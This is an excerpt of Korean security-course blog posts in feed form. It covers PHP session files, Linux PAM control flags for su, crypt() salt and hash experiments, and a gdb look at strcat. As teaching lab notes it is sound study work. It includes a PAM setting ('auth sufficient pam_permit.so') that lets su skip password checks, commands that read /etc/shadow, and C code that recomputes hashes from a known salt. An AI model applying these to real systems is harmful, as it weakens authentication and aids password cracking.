-rw-------. 1 apache apache 20  3월 31 17:48 /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
[root@localhost session]# cat /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
userid|s:5:&quot;admin&quot;;

2. 로그아웃
- 실제는 logout.php 에서 이 역할을 담당한다.
- 여기서는 분석을 위해서 root에서 직접 편집한다.
# &gt; /var/lib/php/session/세션파일명 

브라우저에서 로그아웃 처리
http://200.200.200.3/LOGINTEST2/login.php
  &lt;-- 로그아웃 

콘솔에서 직접 사용 테스트 
[root@localhost session]# ll /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
-rw-------. 1 apache apache 19  3월 31 17:48 /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
[root@localhost session]# &gt; /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
[root@localhost session]# ll /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
-rw-------. 1 apache apache 0  3월 31 17:49 /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7

</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[시스템 보안 운영 - 4 (교육 86일차)]]></title>
            <link>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-86%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-86%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sat, 01 Apr 2023 14:40:21 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt;</strong></p>
</blockquote>
<pre><code>/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_rootok

-- pam_rootok.c --
 43 static int
 44 _pam_parse (const pam_handle_t *pamh, int argc, const char **argv)
 45 {
 46     int ctrl=0;
 47 
 48     printf(&quot;%s: _pam_parse() 실행!\n&quot;, __FILE__);
 49
 50     /* step through arguments */
 51     for (ctrl=0; argc-- &gt; 0; ++argv) {


157 PAM_EXTERN int
158 pam_sm_authenticate (pam_handle_t *pamh, int flags UNUSED,
159              int argc, const char **argv)
160 {
161     int ctrl;
162 
163     printf(&quot;%s: pam_sm_authenticate() 실행!\n&quot;, __FILE__);
164     ctrl = _pam_parse(pamh, argc, argv);
165 
166     return check_for_root (pamh, ctrl);
167 }
168 

-- pam_rootok.c --

[root@localhost pam_rootok]# PAMCompile.sh 

-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 #auth        requisite   pam_deny.so
  3 auth        sufficient  pam_rootok.so
-- /etc/pam.d/su --

3번 라인에 의해서 root 이므로 관리자로 변경되었다.
[root@localhost ~]# su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 09:36:50 KST 2023 일시 pts/2
[root@localhost ~]# exit


-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        requisite   pam_deny.so
  3 auth        sufficient  pam_rootok.so
-- /etc/pam.d/su --

2번 라인의 requisite은 실패이면 무조건 인증이 실패하고 종료하므로 그 다음 모듈을 검사하지 않는다.
[root@localhost ~]# su -
su: 인증 실패
   &lt;-- pam_rootok.c: pam_sm_authenticate() 실행! 부분이 출력되지 않음.


-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        requisite   pam_permit.so  &lt;-- 성공이므로 다음 모듈인 pam_rootok.so를 실행한다.
  3 auth        sufficient  pam_rootok.so
-- /etc/pam.d/su --

[root@localhost ~]# ps
   PID TTY          TIME CMD
  1286 pts/2    00:00:00 bash
  1632 pts/2    00:00:00 ps
[root@localhost ~]# su - 
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 09:47:32 KST 2023 일시 pts/2
[root@localhost ~]# ps
   PID TTY          TIME CMD
  1286 pts/2    00:00:00 bash
  1633 pts/2    00:00:00 su
  1634 pts/2    00:00:00 bash
  1651 pts/2    00:00:00 ps
[root@localhost ~]# exit


pam_permit.c 수정
[root@localhost pam_permit]# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_permit

-- pam_permit.c --
 35 PAM_EXTERN int
 36 pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
 37             int argc UNUSED, const char **argv UNUSED)
 38 {
 39     int retval;
 40     const char *user=NULL;
 41 
 42     printf(&quot;&gt;&gt;&gt; %s : pam_sm_authenticate() 호출! &lt;&lt;&lt;\n&quot;, __FILE__);


 72 PAM_EXTERN int
 73 pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
 74            int argc UNUSED, const char **argv UNUSED)
 75 {
 76     printf(&quot;&gt;&gt;&gt; %s : pam_sm_setcred() 호출! &lt;&lt;&lt;\n&quot;, __FILE__);
 77      return PAM_SUCCESS;
 78 }
-- pam_permit.c --

[root@localhost pam_permit]# PAMCompile.sh 

다른 터미널에서 su - 를 실행한다.
[root@localhost ~]# su -
&gt;&gt;&gt; pam_permit.c : pam_sm_authenticate() 호출! &lt;&lt;&lt;  &lt;-- requisite에 의해 성공을 했으므로 
pam_rootok.c: pam_sm_authenticate() 실행!            &lt;-- pam_rootok.so 모듈을 실행한다.
pam_rootok.c: _pam_parse() 실행!
&gt;&gt;&gt; pam_permit.c : pam_sm_setcred() 호출! &lt;&lt;&lt;
마지막 로그인: 목  3월 30 10:04:32 KST 2023 일시 pts/1
[root@localhost ~]# 


o auth sufficient  pam_deny.so 일 경우
-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        sufficient  pam_deny.so
  3 auth        sufficient  pam_rootok.so
-- /etc/pam.d/su --

[root@localhost pam_deny]# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_deny

-- pam_deny.c --
 28 PAM_EXTERN int
 29 pam_sm_authenticate(pam_handle_t *pamh UNUSED, int flags UNUSED,
 30             int argc UNUSED, const char **argv UNUSED)
 31 {
 32     printf(&quot;&gt;&gt;&gt; %s: pam_sm_authenticate() 호출! &lt;&lt;&lt;\n&quot;, __FILE__);
 33     return PAM_AUTH_ERR;
 34 }   
 35 
 36 PAM_EXTERN int
 37 pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
 38            int argc UNUSED, const char **argv UNUSED)
 39 {
 40     printf(&quot;&gt;&gt;&gt; %s: pam_sm_setcred() 호출! &lt;&lt;&lt;\n&quot;, __FILE__);
 41      return PAM_CRED_ERR;
 42 }
-- pam_deny.c --

[root@localhost pam_deny]# PAMCompile.sh 

다른 터미널에서 su - 를 실행한다.
[root@localhost ~]# su - user1
&gt;&gt;&gt; pam_deny.c: pam_sm_authenticate() 호출! &lt;&lt;&lt;
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
&gt;&gt;&gt; pam_deny.c: pam_sm_setcred() 호출! &lt;&lt;&lt;
마지막 로그인: 목  3월 30 09:47:22 KST 2023 일시 pts/2
[user1@localhost ~]$ exit


o auth sufficient  pam_permit.so 일 경우
-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        sufficient  pam_permit.so   &lt;-- sufficient에 의해 성공을 했으므로 
  3 auth        sufficient  pam_rootok.so   &lt;-- pam_rootok.so를 실행하지 않고 인증에 성공한다.
-- /etc/pam.d/su --

[root@localhost ~]# su - user1
&gt;&gt;&gt; pam_permit.c : pam_sm_authenticate() 호출! &lt;&lt;&lt;  &lt;-- sufficient에 의해 성공을 했으므로 
&gt;&gt;&gt; pam_permit.c : pam_sm_setcred() 호출! &lt;&lt;&lt;       &lt;-- pam_rootok.so를 실행하지 않고 인증에 성공한다.
마지막 로그인: 목  3월 30 10:24:34 KST 2023 일시 pts/1
[user1@localhost ~]$ exit  &lt;-- 그러므로 user1의 셸이 떨어진 것이다.

o  auth required pam_deny.so 인 경우
-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        required    pam_deny.so    &lt;-- required 에 의해 실패를 했으므로 
  3 auth        sufficient  pam_rootok.so  &lt;-- 여기서 성공을 해도 최종적으로 인증은 실패가 된다.
-- /etc/pam.d/su --

[root@localhost ~]# passwd --stdin user1
user1 사용자의 비밀 번호 변경 중
111111
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.

[root@localhost ~]# su - user1
&gt;&gt;&gt; pam_deny.c: pam_sm_authenticate() 호출! &lt;&lt;&lt;
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:  &lt;-- 111111 를 입력한다.
&gt;&gt;&gt; pam_deny.c: pam_sm_authenticate() 호출! &lt;&lt;&lt;
su: 인증 실패
[root@localhost ~]#

o  auth required pam_permit.so 인 경우
-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        required    pam_permit.so  &lt;-- required 에 의해 성공을 했지만 최종 성공은 아니고 다음 모듈을 본다.
  3 auth        sufficient  pam_rootok.so  &lt;-- sufficient에 의해서 인증이 성공된다.
-- /etc/pam.d/su --

[root@localhost ~]# su - user1
&gt;&gt;&gt;  pam_permit.c : pam_sm_authenticate() 호출! &lt;&lt;&lt;  &lt;-- required 에 의해 성공을 했지만 최종 성공을 아니다.
pam_rootok.c: pam_sm_authenticate() 실행!    &lt;-- sufficient에 의해서 root이므로 인증이 최종 성공된다.
pam_rootok.c: _pam_parse() 실행!
&gt;&gt;&gt; pam_permit.c : pam_sm_setcred() 호출! &lt;&lt;&lt;
마지막 로그인: 목  3월 30 10:42:10 KST 2023 일시 pts/1
마지막 로그인 실패: 목  3월 30 10:43:02 KST 2023 일시 pts/1 
마지막 로그인 후 1 번의 로그인 시도가 실패하였습니다.  
[user1@localhost ~]$ </code></pre><blockquote>
<p><strong>실습&gt; pam_wheel.so</strong></p>
</blockquote>
<pre><code>[root@localhost ~]# usermod -G wheel user1
[root@localhost ~]# usermod -G wheel user2

-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 #auth        required    pam_permit.so
  3 auth        sufficient  pam_rootok.so
  4 # Uncomment the following line to implicitly trust     users in the &quot;wheel&quot; group.
  5 #auth       sufficient  pam_wheel.so trust use_uid
  6 # Uncomment the following line to require a user to     be in the &quot;wheel&quot; group.
  7 auth        required    pam_wheel.so use_uid
  8 auth        substack    system-auth
-- /etc/pam.d/su --


[root@localhost ~]# su - user1
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 12:04:28 KST 2023 일시 pts/1
[user1@localhost ~]$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1),10(wheel) ...(생략)
[user1@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
마지막 로그인: 목  3월 30 11:56:52 KST 2023 일시 pts/1
마지막 로그인 실패: 목  3월 30 11:57:33 KST 2023 일시 pts/1 
[root@localhost ~]# exit
[user1@localhost ~]$ exit

[root@localhost ~]# su - user2
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 11:58:39 KST 2023 일시 pts/1
[user2@localhost ~]$ id
uid=1002(user2) gid=1002(user2) groups=1002(user2),10(wheel) ...(생략)
[user2@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
마지막 로그인: 목  3월 30 12:04:53 KST 2023 일시 pts/1
마지막 로그인 실패: 목  3월 30 12:07:32 KST 2023 일시 pts/1 
[root@localhost ~]# exit
[user2@localhost ~]$ exit
</code></pre><blockquote>
<p><strong>실습&gt; pam_succeed_if.so</strong></p>
</blockquote>
<pre><code>if문으로 여러가지 값들을 비교할 때 사용하는 모듈

[root@localhost ~]# usermod -G wheel user1
[root@localhost ~]# usermod -G wheel user2

OPTION
- use_uid: 명령어를 실행하는 사용자를 의미한다.

-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 #auth        required    pam_permit.so
  3 auth        sufficient  pam_rootok.so   &lt;-- user2 사용자는 인증실패
  4 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  5 #auth       sufficient  pam_wheel.so trust use_uid
  6 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  7 # wheel(user1,user2)
  8 # user1 사용자는 wheel 그룹에 포함되므로 root로 변경가능 O
  9 # user2 사용자는 wheel 그룹에 포함되므로 root로 변경가능 O
 10 auth        required    pam_succeed_if.so user = user1 use_uid  &lt;-- user2 사용자는 인증실패
 11 auth        required    pam_wheel.so use_uid    &lt;-- user2 사용자는 인증성공      
 12 auth        substack    system-auth &lt;-- 비밀번호 입력 user2 사용자는 인증성공을 했지만 10번 때문에 최종 실패

&gt;&gt;&gt; 12번 위에 required 부분 10번에 실패가 있기 때문에 12번에서 최종 인증에 실패하므로 로그인이 안된다. &lt;&lt;&lt;

&gt;&gt;&gt; 12번에서 입력된 root의 비밀번호 검증이 맞으면 12번 위에 10번과 11번의 required 부분에 &lt;&lt;&lt;
&gt;&gt;&gt; 실패가 있는지 확인하고 실패가 있다면 12번에서 최종 인증에 실패하므로 root로 로그인할 수 없다. &lt;&lt;&lt;
-- /etc/pam.d/su --

[root@localhost ~]# su - user2
[user2@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
su: 인증 실패
[user2@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
su: 인증 실패
[user2@localhost ~]$ exit


-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 #auth        required    pam_permit.so
  3 auth        sufficient  pam_rootok.so   &lt;-- user1 사용자는 인증실패
  4 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  5 #auth       sufficient  pam_wheel.so trust use_uid
  6 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  7 # wheel(user1,user2)
  8 # user1 사용자는 wheel 그룹에 포함되므로 root로 변경가능 O
  9 # user2 사용자는 wheel 그룹에 포함되므로 root로 변경가능 O
 10 auth        required    pam_succeed_if.so user = user1 use_uid  &lt;-- user1 사용자는 인증성공
 11 auth        required    pam_wheel.so use_uid    &lt;-- user1 사용자는 인증성공      
 12 auth        substack    system-auth &lt;-- user1 사용자는 비밀번호 검증에 성공을 했고 10,11번을 체크한 후 최종 성공

&gt;&gt;&gt; 12번에서 입력된 root의 비밀번호 검증이 맞으면 12번 위에 10번과 11번의 required 부분에 &lt;&lt;&lt;
&gt;&gt;&gt; 실패가 없는지 확인하고 실패가 없다면 12번에서 최종 인증에 성공하므로 root로 로그인할 수 있다. &lt;&lt;&lt;
-- /etc/pam.d/su --

[root@localhost ~]# su - user1
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 12:04:40 KST 2023 일시 pts/1
[user1@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
마지막 로그인: 목  3월 30 12:22:31 KST 2023 일시 pts/1
마지막 로그인 실패: 목  3월 30 12:31:54 KST 2023 일시 pts/1 
마지막 로그인 후 4 번의 로그인 시도가 실패하였습니다.  
[root@localhost ~]# 
</code></pre><blockquote>
<p><strong>실습&gt; 라이브러리 경로 변경하기</strong></p>
</blockquote>
<pre><code>-- /etc/pam.d/su --
 11 auth        required    /libmydir/pam_wheel.so use_uid
 12 auth        substack    system-auth
-- /etc/pam.d/su --

# mkdir /libmydir
# mv /usr/lib64/security/pam_wheel.so /libmydir/

# yum -y install tree
# tree /libmydir/
/libmydir/
└── pam_wheel.so

0 directories, 1 file

# su - user1
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 14:57:16 KST 2023 일시 pts/0
[user1@localhost ~]$
[user1@localhost ~]$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1),10(wheel) ...(생략)


[user1@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
마지막 로그인: 목  3월 30 14:57:19 KST 2023 일시 pts/0
[root@localhost ~]# exit
[user1@localhost ~]$ exit

라이브러리 경로를 원래대로 돌려놓는다.
- 모듈의 경로가 상대경로 이므로 /usr/lib64/security에서 찾는다.
[root@localhost ~]# vi /etc/pam.d/su
 11 auth        required    pam_wheel.so use_uid
 12 auth        substack    system-auth

[root@localhost ~]# su - user1
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 15:14:57 KST 2023 일시 pts/0
[user1@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
su: 모듈을 알 수 없음  &lt;-- /usr/lib64/security/pam_wheel.so 파일이 없기 때문에 에러가 발생한 것이다.
[user1@localhost ~]$ exit

pam_wheel.so 파일을 원래 디렉터리인 /usr/lib64/security 디렉터리에 이동시킨다.
[root@localhost ~]# mv /libmydir/pam_wheel.so /usr/lib64/security/

[root@localhost ~]# su - user1
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
마지막 로그인: 목  3월 30 15:17:08 KST 2023 일시 pts/0
[user1@localhost ~]$ su -
pam_rootok.c: pam_sm_authenticate() 실행!
pam_rootok.c: _pam_parse() 실행!
암호:
마지막 로그인: 목  3월 30 15:15:32 KST 2023 일시 pts/0
마지막 로그인 실패: 목  3월 30 15:17:14 KST 2023 일시 pts/0
마지막 로그인 후 1 번의 로그인 시도가 실패하였습니다.
[root@localhost ~]#  &lt;-- 정상적으로 root로 변경된 것을 확인할 수 있다.
</code></pre><blockquote>
<p><strong>실습&gt; salt값에 의한 해쉬값 확인하기</strong></p>
</blockquote>
<pre><code># echo 1 | passwd --stdin root
# head -1 /etc/shadow
root:$6$oE7VchFp72O2w2Oi$Y1UdgnitPA04bqADoVKWdEGK3SRRteUMzY4HHVWpDgvXAE3YVaxWeI0yqltU9eYypdCxfdhoAKje9wNioyK0p1:19310:0:99999:7:::
# echo 1 | passwd --stdin root
# head -1 /etc/shadow
root:$6$RLIGFZB9Bkhmteiz$.TXpkv6jElyuWeXOlQZRB2RNGGxElVB/TsJ84N.Z0MwQc02FBeBUlEq0O7besapj13lseDYZU0ughSXMpwx8B0:19310:0:99999:7:::
# echo 1 | passwd --stdin root
# head -1 /etc/shadow
root:$6$4DF2Zt1qlu8SEXUp$X4aHQJvEB47WgbhBGpgEjf8TaxjB6wxxSWye0YFzFDU5vCO6toL00hlQ7fDmo2yZniwPy8CNwUCjsRLJY7Irw/:19310:0:99999:7:::
# echo 1 | passwd --stdin root
# head -1 /etc/shadow
root:$6$jq0qV0QeVhD/AZuA$CbPvUqdomVPtX5byvVuX3JHFcWgLRtEFYxjG5Jx/KH/.UqVZ9KpCEqdv2zoNQa394/.y.cigOOWpBC8OHBGUz/:19310:0:99999:7:::</code></pre><blockquote>
<p><strong>실습&gt; crypt() 함수 사용하기</strong></p>
</blockquote>
<pre><code>crypt(): Linux에서 비밀번호 해쉬값을 만들어주는 함수
/etc/shadow: 두 번째 필드에 암호화된 해쉬값(비밀번호)이 저장되어 있다.
형식: $암호화방식$salt$암호화된해쉬값
해쉬값은 해쉬함수에 의해서 만들어진 값으로 임의의 문자열(개수가 정해지지 않음)을 넣으면 고정길이로 뽑아주는 함수
해쉬는 단반향 암호화이므로 역으로 풀 수 없다. 풀 수 있다면 암호화가 깨진 것이다.

1. 사용자 생성
passuser 사용자를 생성한다.
/etc/shadow 파일에 저장된 비밀번호는 각 시스템마다 모두 다르다.
# useradd passuser
# tail -1 /etc/shadow
passuser:!!:19093:0:99999:7:::
         ~~

2. 비밀번호 확인
# echo 111111 | passwd --stdin passuser
# tail -1 /etc/shadow
passuser:$6$5dzvDOsn$XbVcSVAWJRqDKujU1EqeIsMyjyf7Geqf1BEoK9FDYD2Yh5on5636FCj8BMjY4jfrY0qyeCCCWpSqvOq1xyAXp.:19446:0:99999:7:::

3. 프로그램 작성
# yum -y install man man-pages gcc make

# vi pass.c
/*
 * 파일명: pass.c
 * 프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
 * 작성자: 리눅스마스터넷
 * 
 * char *crypt(const char *key, const char *salt);
 * 컴파일 방법: gcc -o pass pass.c -lcrypt
 */
#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
#include&lt;crypt.h&gt;

int main()
{
    char pPass[] = &quot;111111&quot;;
    char pSalt[] = &quot;$6$5dzvDOsn$&quot;; // 각자 다르므로 자신의 것으로 설정한다.

    char *pHash;
    pHash = crypt(pPass,pSalt);

    printf(&quot;%s \n&quot;,pHash);

    return 0;
}

-l라이브러리명 : crypt 라이브러리
# ll /usr/lib64/libcrypt*
# ll /usr/lib64/libcrypt-2.17.so
# gcc -o pass pass.c -lcrypt
# ldd pass
    linux-vdso.so.1 =&gt;  (0x00007fff10baf000)
    libcrypt.so.1 =&gt; /lib64/libcrypt.so.1 (0x00007fafbc0d8000)  &lt;-- crypt 라이브러리
    libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fafbbd0a000)
    libfreebl3.so =&gt; /lib64/libfreebl3.so (0x00007fafbbb07000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fafbc30f000)
    libdl.so.2 =&gt; /lib64/libdl.so.2 (0x00007fafbb903000)

4. 실행
실행파일 pass를 실행해서 /etc/shadow에 저장된 passuser와 암호가 동일한지 확인한다.
# tail -1 /etc/shadow
passuser:$6$5dzvDOsn$XbVcSVAWJRqDKujU1EqeIsMyjyf7Geqf1BEoK9FDYD2Yh5on5636FCj8BMjY4jfrY0qyeCCCWpSqvOq1xyAXp.:19446:0:99999:7:::
# tail -1 /etc/shadow|awk -F : &#39;{print $2}&#39;
$6$5dzvDOsn$XbVcSVAWJRqDKujU1EqeIsMyjyf7Geqf1BEoK9FDYD2Yh5on5636FCj8BMjY4jfrY0qyeCCCWpSqvOq1xyAXp.

# ./pass 
$6$5dzvDOsn$XbVcSVAWJRqDKujU1EqeIsMyjyf7Geqf1BEoK9FDYD2Yh5on5636FCj8BMjY4jfrY0qyeCCCWpSqvOq1xyAXp.
</code></pre><blockquote>
<p><strong>실습&gt; crypt() 함수 사용하기</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
# vi pass2.c 
/*
 * 파일명: pass2.c
 * 프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
 * 작성자: 리눅스마스터넷
 * 
 * char *crypt(const char *key, const char *salt);
 * 컴파일 방법: gcc -o pass2 pass2.c -lcrypt
 */
#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
#include&lt;crypt.h&gt;

int main(int argc, char *argv[])
{
    if(argc != 2) {
        fprintf(stderr, &quot;Usage: %s password\n&quot;, argv[0]);
        return 1;
    }

    // passuser:$6$5dzvDOsn$XbVcSVAWJRqDKujU1EqeIsMyjyf7Geqf1BEoK9 ...(생략)
    char *pPass = argv[1];
    char pSalt[] = &quot;$6$5dzvDOsn$&quot;; // 각자 다르므로  grep passuser /etc/shadow 로 확인한다.
    char *pHash;

    pHash = crypt(pPass,pSalt);
    printf(&quot;passuser:%s \n&quot;,pHash);

    return 0;
}

2. 컴파일
컴파일할 때 -lcrpyt 라이브러리를 포함시킨다.
라이브러리 위치: /usr/lib64, /lib64(/usr/lib64 심볼릭 링크)
# gcc -o pass2 pass2.c -lcrypt

3. 실행
# grep passuser /etc/shadow
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::

# ./pass2 111111
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.

사용자 passuser2를 생성하고 비밀번호를 111111 로 설정한다.
# useradd passuser2
# passwd --stdin passuser2
passuser2 사용자의 비밀 번호 변경 중
111111
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.

# grep passuser2 /etc/shadow
passuser2:$6$2AO8Wuo7$BrDrs38fP7pu9DQwMKObc81YPCEeXtYGJdrEJMqSb9T7inkJh.6qY65kbtic4IYLPp8UMpBwQg36mgU18edKE.:19435:0:99999:7:::

pass2.c 의 소스에서 아래 두 군데만 passuser2 로 변경한다. 변경한다.

-- pass2.c 의 수정된 소스 --
    char pSalt[] = &quot;$6$2AO8Wuo7$&quot;; // passuser2의 salt 값으로 변경한다.

    printf(&quot;passuser2:%s \n&quot;,pHash);
-- pass2.c 의 수정된 소스 --

# gcc -o pass2 pass2.c -lcrypt
# grep passuser2 /etc/shadow
passuser2:$6$2AO8Wuo7$BrDrs38fP7pu9DQwMKObc81YPCEeXtYGJdrEJMqSb9T7inkJh.6qY65kbtic4IYLPp8UMpBwQg36mgU18edKE.:19435:0:99999:7:::
# ./pass2 111111
passuser2:$6$2AO8Wuo7$BrDrs38fP7pu9DQwMKObc81YPCEeXtYGJdrEJMqSb9T7inkJh.6qY65kbtic4IYLPp8UMpBwQg36mgU18edKE.</code></pre><blockquote>
<p>*<em>실습&gt; salt 값이 없는 경우 *</em></p>
</blockquote>
<pre><code>1. 소스코드 작성
# vi pass3.c 
/*
 * 파일명: pass3.c
 * 프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
 * 작성자: 리눅스마스터넷
 * 
 * char *crypt(const char *key, const char *salt);
 * 컴파일 방법: gcc -o pass3 pass3.c -lcrypt
 */
#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
#include&lt;crypt.h&gt;

int main(int argc, char *argv[])
{
    if(argc != 2) {
        fprintf(stderr, &quot;Usage: %s password\n&quot;, argv[0]);
        return 1;
    }

    char *pPass = argv[1];
    char pSalt[] = &quot;$6$&quot;; // salt 값이 없는 경우

    char *pHash;
    pHash = crypt(pPass,pSalt);

    printf(&quot;%s \n&quot;,pHash);

    return 0;
}

2. 컴파일
# gcc -o pass3 pass3.c -lcrypt

3. 실행
salt의 추가 첨가물 문자열이 없다면 해쉬값은 동일하게 나온다.
# ./pass3 111111
$6$$2/5CYZn./k1Kv4XDyvESqncw9V8t.hF3Ah7VtjJXlOM9ao4r9S79dvNnYa4LVRA8pUzrdymGll1PY245M9J8e. 
# ./pass3 111111
$6$$2/5CYZn./k1Kv4XDyvESqncw9V8t.hF3Ah7VtjJXlOM9ao4r9S79dvNnYa4LVRA8pUzrdymGll1PY245M9J8e. 
# ./pass3 111111
$6$$2/5CYZn./k1Kv4XDyvESqncw9V8t.hF3Ah7VtjJXlOM9ao4r9S79dvNnYa4LVRA8pUzrdymGll1PY245M9J8e. 
</code></pre><blockquote>
<p><strong>실습&gt; strcat 함수 사용하기</strong></p>
</blockquote>
<pre><code>함수의 원형: 
#include &lt;string.h&gt;
char *strcat(char *dest, const char *src);

함수 기능: 
src 값을 dest에 연결한다.
리턴값: dest 

# vi strcatTest.c
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int main()
{
    // char *strcat(char *dest, const char *src);
    char src[50]  = &quot;ABC&quot;; 
    char dest[50] = &quot;12345&quot;;

    printf(&quot;%s\n&quot;, strcat(dest, src));  // 12345ABC

    printf(&quot;src: %s\n&quot;, src);   // ABC
    printf(&quot;dest: %s\n&quot;, dest); // 12345ABC 

    return 0;
}
# gcc -o strcatTest strcatTest.c 
# ./strcatTest 
12345ABC
src: ABC
dest: 12345ABC


# gdb strcatTest
Reading symbols from /root/strcatTest...done.
(gdb) b main

(gdb) i b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048478 in main at strcatTest.c:7

(gdb) r
7           char src[50]  = &quot;ABC&quot;;

(gdb) n
8           char dest[50] = &quot;12345&quot;;

(gdb) n
10          printf(&quot;%s\n&quot;, strcat(dest, src));  // 12345ABC

(gdb) p src
$1 = &quot;ABC&quot;, &#39;\000&#39; &lt;repeats 46 times&gt;

(gdb) p dest
$2 = &quot;12345&quot;, &#39;\000&#39; &lt;repeats 44 times&gt;

(gdb) p &amp;src
$3 = (char (*)[50]) 0xffffd5fe

(gdb) p &amp;dest
$4 = (char (*)[50]) 0xffffd5cc

(gdb) x/16xw &amp;src
0xffffd5fe:     0x00434241      0x00000000      0x00000000      0x00000000
0xffffd60e:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd61e:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd62e:     0xe0000000      0x0000f7fc      0x00000000      0x12d30000
(gdb) x/xb 0xffffd5fe
0xffffd5fe:     0x41
(gdb) x/xb 0xffffd5ff
0xffffd5ff:     0x42
(gdb) x/xb 0xffffd600
0xffffd600:     0x43
(gdb) x/xb 0xffffd601
0xffffd601:     0x00
(gdb) x/16xw 0xffffd5cc
0xffffd5cc:     0x34333231      0x00000035      0x00000000      0x00000000
0xffffd5dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5fc:     0x42410000      0x00000043      0x00000000      0x00000000
(gdb) x/xb 0xffffd5cc
0xffffd5cc:     0x31
(gdb) x/xb 0xffffd5cd
0xffffd5cd:     0x32
(gdb) x/xb 0xffffd5ce
0xffffd5ce:     0x33
(gdb) x/xb 0xffffd5cf
0xffffd5cf:     0x34
(gdb) x/xb 0xffffd5d0
0xffffd5d0:     0x35
